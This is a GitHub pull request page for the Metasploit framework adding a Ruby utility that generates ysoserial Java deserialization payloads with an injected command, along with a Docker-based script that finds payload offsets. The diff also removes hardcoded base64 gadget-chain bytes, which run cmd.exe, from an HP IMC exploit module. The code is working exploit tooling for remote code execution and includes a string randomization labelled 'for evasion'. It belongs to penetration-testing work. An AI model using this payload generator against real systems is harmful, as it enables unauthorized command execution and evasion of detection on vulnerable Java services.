Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Import and generate dynamic ysoserial Java serialization objects #11125

Merged
merged 16 commits into from
Jan 15, 2019
Merged
Show file tree
Hide file tree
Changes from 5 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions data/ysoserial_payloads.json

Large diffs are not rendered by default.

3 changes: 3 additions & 0 deletions lib/msf/util.rb
Original file line number Diff line number Diff line change
Expand Up @@ -28,3 +28,6 @@ module Util

# DBManager helpers
require 'msf/util/db_manager'

# Java deserialization payload generators
require 'msf/util/java_deserialization'
65 changes: 65 additions & 0 deletions lib/msf/util/java_deserialization.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
module Msf
module Util

require 'json'
require 'base64'

PAYLOAD_FILENAME="ysoserial_payloads.json"
asoto-r7 marked this conversation as resolved.
Show resolved Hide resolved

#TODO: Support ysoserial alongside ysoserial-modified payloads (including cmd, bash, powershell, none)

class JavaDeserialization

def self.ysoserial_payload(payloadName, command=nil)
# Open the JSON file and parse it
begin
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
json = JSON.parse(File.read(path))
rescue Errno::ENOENT
raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
end

raise ArgumentError, "#{payloadName} payload not found in ysoserial payloads" if json[payloadName].nil?

# Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
payload = json[payloadName]

# Based on the status, we'll raise an exception, return a static payload, or
# generate a dynamic payload with modifications at the specified offsets
case payload['status']
when "unsupported"
# This exception will occur most commonly with complex payloads that require more than a string
raise ArgumentError, "ysoserial payload is unsupported"
when "static"
#TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
return Base64.decode64(payload['bytes'])
when "dynamic"
raise ArgumentError, "missing command parameter" if command.nil?

bytes = Base64.decode64(payload['bytes'])

# Insert buffer
bufferOffset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
bytes[bufferOffset-1] += command

# Overwrite length (multiple times, if necessary)
lengthOffsets = payload['lengthOffset']
lengthOffsets.each do |lengthOffset|
# Extract length as a 16-bit unsigned int, then add the length of the command string
length = bytes[lengthOffset-1..lengthOffset].unpack("n").first
length += command.length.ord
length = [length].pack("n")
bytes[lengthOffset-1..lengthOffset] = length
end

# Replace "ysoserial\/Pwner" timestamp string with randomness for evasion
bytes.gsub!(/ysoserial\/Pwner00000000000000/, Rex::Text.rand_text_alphanumeric(29))
return bytes
else
raise RuntimeError, "Malformed JSON file"
end
end
end
end
end

35 changes: 1 addition & 34 deletions modules/exploits/windows/http/hp_imc_java_deserialize.rb
Original file line number Diff line number Diff line change
Expand Up @@ -108,41 +108,8 @@ def exploit
end

def set_payload
# JSON1 Serialized Stream start, middle and end, base64 encoded (from https://github.com/pimps/ysoserial-modified)
# Recreation steps:
# wget https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar
# java -jar ysoserial-modified.jar JSON1 cmd "" > jsonss
# dd bs=1 if=jsonss of=jsonss_start skip=0 count=2645
# dd bs=1 if=jsonss of=jsonss_mid skip=2647 count=1230
# dd bs=1 if=jsonss of=jsonss_end skip=3879
# for i in `ls jsonss_*`; do
# cat $i | base64 -w0 > $i.b64
# echo "$i=\"`cat $i.b64 `\""
# done
# NOTE: The `jsonss_end` contains two randomized strings (eg. "ysoserial/Pwner141434911504672")

jsonss_start = Rex::Text.decode_base64 "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IALWphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLlRhYnVsYXJEYXRhU3VwcG9ydE9iDqhrlxdDAgACTAAHZGF0YU1hcHQAD0xqYXZhL3V0aWwvTWFwO0wAC3RhYnVsYXJUeXBldAAoTGphdmF4L21hbmFnZW1lbnQvb3Blbm1iZWFuL1RhYnVsYXJUeXBlO3hwc3IAFm5ldC5zZi5qc29uLkpTT05PYmplY3S4ZY8caCRw+QIAAloACm51bGxPYmplY3RMAApwcm9wZXJ0aWVzcQB+AAN4cABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAF0AAF0c30AAAACAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAEFjb20uc3VuLmNvcmJhLnNlLnNwaS5vcmJ1dGlsLnByb3h5LkNvbXBvc2l0ZUludm9jYXRpb25IYW5kbGVySW1wbD9wFnM9MqjPAgACTAAYY2xhc3NUb0ludm9jYXRpb25IYW5kbGVycQB+AANMAA5kZWZhdWx0SGFuZGxlcnEAfgAMeHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA0wE5cEGzA+wIAAVoAC2FjY2Vzc09yZGVyeHEAfgAAP0AAAAAAAAx3CAAAABAAAAABdnIAKGphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLkNvbXBvc2l0ZURhdGEAAAAAAAAAAAAAAHhwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXNxAH4AA0wABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO3hwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAABdAAQZ2V0Q29tcG9zaXRlVHlwZXNyAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVUeXBltYdG61oHn0ICAAJMABFuYW1lVG9EZXNjcmlwdGlvbnQAE0xqYXZhL3V0aWwvVHJlZU1hcDtMAApuYW1lVG9UeXBlcQB+ABp4cgAjamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uT3BlblR5cGWAZBqR6erePAIAA0wACWNsYXNzTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC2Rlc2NyaXB0aW9ucQB+ABxMAAh0eXBlTmFtZXEAfgAceHB0AChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhdAABYnQAAWFzcgARamF2YS51dGlsLlRyZWVNYXAMwfY+LSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBwdwQAAAABcQB+ACBxAH4AIHhzcQB+ACFwdwQAAAABcQB+ACBzcgAlamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uU2ltcGxlVHlwZR6/T/jcZXgnAgAAeHEAfgAbdAARamF2YS5sYW5nLkludGVnZXJxAH4AJ3EAfgAneHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHgAc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIAA1oADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAGWgALcHJlRmlsdGVyZWRbAAxhZHZpc29yQXJyYXl0ACJbTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL0Fkdmlzb3I7TAATYWR2aXNvckNoYWluRmFjdG9yeXQAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNvckNoYWluRmFjdG9yeTtMAAhhZHZpc29yc3QAEExqYXZhL3V0aWwvTGlzdDtMAAppbnRlcmZhY2VzcQB+ADBMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS/Pmp+D3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAAB1cgAiW0xvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5BZHZpc29yO9+DDa3SHoR0AgAAeHAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgAUamF2YS51dGlsLkxpbmtlZExpc3QMKVNdSmCIIgMAAHhwdwQAAAAAeHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXR0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AHEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAA="
jsonss_mid = Rex::Text.decode_base64 "yv66vgAAADMAPwoAAwAiBwA9BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAEGphdmEvbGFuZy9TdHJpbmcHADABAAdjbWQuZXhlCAAyAQACL2MIADQB"
jsonss_end = Rex::Text.decode_base64 "CAA2AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADgAOQoAKwA6AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjE0MTQzNDkxMTUwNDY3MgEAIEx5c29zZXJpYWwvUHduZXIxNDE0MzQ5MTE1MDQ2NzI7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAMAAOAAAADAABAAAABQAPAD4AAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANQAOAAAAIAADAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOQAOAAAAKgAEAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAANQAGAAIAAAAgpwADAUy4AC8GvQAxWQMSM1NZBBI1U1kFEjdTtgA7V7EAAAABADwAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AEYAAAHUyv66vgAAADMAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHhzcgAmamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uVGFidWxhclR5cGVa9L2hxNYGPQIAAkwACmluZGV4TmFtZXNxAH4AMEwAB3Jvd1R5cGV0ACpMamF2YXgvbWFuYWdlbWVudC9vcGVubWJlYW4vQ29tcG9zaXRlVHlwZTt4cQB+ABt0ACZqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5UYWJ1bGFyRGF0YXEAfgAfcQB+ACBzcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AMHhyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNxAH4AOgAAAAF3BAAAAAFxAH4AIHhxAH4AUnEAfgAdcQB+AAVzcQB+AAJxAH4AB3EAfgBMcQB+AFN4"

# Generate Payload
cmd = gen_payload
tmp = 0x06d3 + cmd.length # Magic number plus length of the cmd
tmp = tmp.to_s(16)
length_param = [tmp.rjust(4,'0')].pack("H*")

# Convert command length to binary (two bytes, big-endian)
tmp = cmd.length.to_s(16)
cmd_size = [tmp.rjust(4,'0')].pack("H*")

# Some assembly required
serialized_data = jsonss_start
serialized_data += length_param
serialized_data += jsonss_mid
serialized_data += cmd_size
serialized_data += cmd
serialized_data += jsonss_end

serialized_data = ::Msf::Util::JavaDeserialization.ysoserial_payload("JSON1",cmd)
return serialized_data
end

Expand Down
32 changes: 32 additions & 0 deletions tools/payloads/ysoserial/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
# A docker container to generate empty ysoserial payloads and metadata to allow for
# dynamically creating payloads within related projects, such as Metasploit
#
# Created by: Aaron Soto, Rapid7 Metasploit Team, 2018-DEC-11
#
# To run:
# docker build -t ysoserial-payloads . && docker run -i ysoserial-payloads > ysoserial_offsets.json
#
# Note: There will be ruby gem errors. It's fine.
# We attempt to use the ysoserial-modified fork, then fail back to the original ysoserial project.
# You will see warnings, but we're doing our best. :-)

FROM ubuntu

RUN apt update && apt -y upgrade
# Dependencies: wget (to download ysoserial)
# openjdk-8-jre-headless (to execute ysoserial)
# make, gcc (to install the 'json' ruby gem)
RUN apt install -y wget openjdk-8-jre-headless ruby-dev make gcc

# Download the latest ysoserial-modified
RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-original.jar
RUN wget -q https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar

# Install gems: diff-lcs (to diff the ysoserial output)
# json (to print the scripts results in JSON)
# pry (to debug issues)
RUN gem install --silent diff-lcs json pry

COPY findYsoserialOffsets.rb /

CMD ruby /findYsoserialOffsets.rb
179 changes: 179 additions & 0 deletions tools/payloads/ysoserial/findYsoserialOffsets.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,179 @@
g#!/usr/bin/env ruby
bcoles marked this conversation as resolved.
Show resolved Hide resolved
# encoding: binary

#TODO: Remove previous line?

# ASSUMPTION: A payload will not exceed 255 bytes (TODO: That's a pretty terrible assumption.)
# ASSUMPTION: A payload will have only one length offset and one payload string offset (this has held true on 13 of 13 tested payloads)

require 'diff-lcs'
require 'json'
require 'base64'
require 'open3'

YSOSERIAL_RANDOMIZED_HEADER = "ysoserial\/Pwner"
bcoles marked this conversation as resolved.
Show resolved Hide resolved
PAYLOAD_TEST_MAX_LENGTH = 5

def generatePayload(payloadName,searchStringLength)
program = "ysoserial-original.jar"
#STDERR.puts " Generating #{payloadName} with length #{searchStringLength} using #{program}"

# Generate a string of specified length and embed it into an ASCII-encoded ysoserial payload
searchString = 'A'*searchStringLength
#STDERR.puts " Calling java -jar #{program} #{payloadName} '#{searchString}'"
stdout, stderr, status = Open3.capture3("java -jar #{program} #{payloadName} '#{searchString}'")
bcoles marked this conversation as resolved.
Show resolved Hide resolved

payload = stdout
payload.force_encoding("binary")

if payload.length==0 and stderr.length>0
# Pipe errors out to the console
STDERR.puts stderr.split("\n").each {|i| i.prepend(" ")}
elsif stderr.include?"java.lang.IllegalArgumentException"
#STDERR.puts " WARNING: '#{payloadName}' with #{program} requires complex args and may not be supported"
return nil
elsif stderr.include?"Error while generating or serializing payload"
#STDERR.puts " WARNING: '#{payloadName}' with #{program} errored and may not be supported"
return nil
elsif stdout == "\xac\xed\x00\x05\x70"
#STDERR.puts " WARNING: '#{payloadName}' with #{program} returned null and may not be supported"
return nil
else
#STDERR.puts " Successfully generated #{payloadName} using #{program}"

# Strip out the semi-randomized ysoserial string and trailing newline
payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]+/, 'ysoserial/Pwner00000000000000')
return payload
end
end

def generatePayloadArray(payloadName)
# Generate and return a number of payloads, each with increasingly longer strings, for future comparison
payloadArray = []
(1..PAYLOAD_TEST_MAX_LENGTH).each do |i|
payload = generatePayload(payloadName,i)
return nil if payload.nil?
payloadArray[i] = payload
end
return payloadArray
end

def isLengthOffset?(currByte,nextByte)
# If this byte has been changed, and is different by one, then it must be a length value
if nextByte and currByte.position == nextByte.position and currByte.action == "-"
if nextByte.element.ord - currByte.element.ord == 1
#STDERR.puts "Found a length offset at #{currByte.position}"
return true
end
end
return false
end

def isBufferOffset?(currByte,nextByte)
# If this byte has been inserted, then it must be part of the increasingly large payload buffer
if (currByte.action == "+" and (nextByte.nil? or (currByte.position != nextByte.position)))
#STDERR.puts "Found a buffer offset at #{currByte.position}"
return true
end
return false
end

def diff(a,b)
diffs = []
obj= Diff::LCS.diff(a,b)
obj.each do |i|
i.each do |j|
diffs.push(j)
end
end
return diffs
end

def getPayloadList()
bcoles marked this conversation as resolved.
Show resolved Hide resolved
# Call ysoserial and return the list of payloads that can be generated
payloads = `java -jar ysoserial-original.jar 2>&1`
bcoles marked this conversation as resolved.
Show resolved Hide resolved
payloads.encode!('ASCII', 'binary', invalid: :replace, undef: :replace, replace: '')
payloads = payloads.split("\n")

# Make sure the headers are intact, then skip over them
abort unless payloads[0] == "Y SO SERIAL?"
payloads = payloads.drop(5)

payloadList = []
# Skip the header rows
payloads.each do |line|
next unless line.include?" "
bcoles marked this conversation as resolved.
Show resolved Hide resolved
payloadList.push(line.scan(/^ ([^ ]*) .*/).first.last)
end
return payloadList
end

results = {}
payloadList = getPayloadList
payloadList.each do |payload|
STDERR.puts "Generating payloads for #{payload}..."

emptyPayload = generatePayload(payload,0)

if emptyPayload.nil?
STDERR.puts " ERROR: Errored while generating '#{payload}' and it will not be supported"
results[payload]={"status": "unsupported"}
next
end

payloadArray = generatePayloadArray(payload)

lengthOffset = []
bufferOffset = []

# Comparing diffs of various payload lengths to find length and buffer offsets
(1..payloadArray.length-1-1).each do |i|
# Compare this binary with the next one
diffs = diff(payloadArray[i],payloadArray[i+1])

break if diffs.nil?

# Iterate through each diff, searching for offsets of the length and the payload
(0..diffs.length-1).each do |j|
currByte = diffs[j]
nextByte = diffs[j+1]
prevByte = diffs[j-1]

if j>0
# Skip this if we compared these two bytes on the previous iteration
next if prevByte.position == currByte.position
end

# Compare this byte and the following byte to identify length and buffer offsets
lengthOffset.push(currByte.position) if isLengthOffset?(currByte,nextByte)
bufferOffset.push(currByte.position) if isBufferOffset?(currByte,nextByte)
end
end

payloadBytes = Base64.encode64(emptyPayload).chomp
bcoles marked this conversation as resolved.
Show resolved Hide resolved
if bufferOffset.length > 0
results[payload]={"status": "dynamic", "lengthOffset": lengthOffset.uniq, "bufferOffset": bufferOffset.uniq, "bytes": payloadBytes }
else
#TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this.
results[payload]={"status": "static", "bytes": payloadBytes }
end
end

payloadCount = {}
payloadCount['skipped'] = 0
payloadCount['static'] = 0
payloadCount['dynamic'] = 0

results.each do |k,v|
if v[:status] == "unsupported"
payloadCount['skipped'] += 1
elsif v[:status] == "static"
payloadCount['static'] += 1
elsif v[:status] == "dynamic"
payloadCount['dynamic'] += 1
end
end

puts JSON.generate(results)

STDERR.puts "DONE! Successfully generated #{payloadCount['static']} static payloads and #{payloadCount['dynamic']} dynamic payloads. Skipped #{payloadCount['skipped']} unsupported payloads."
6 changes: 6 additions & 0 deletions tools/payloads/ysoserial/runme.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
#!/bin/sh

docker build -t ysoserial-payloads . && \
docker run -i ysoserial-payloads > ysoserial_payloads.json

echo "Move 'ysoserial_payloads.json' to data/java_deserialization/"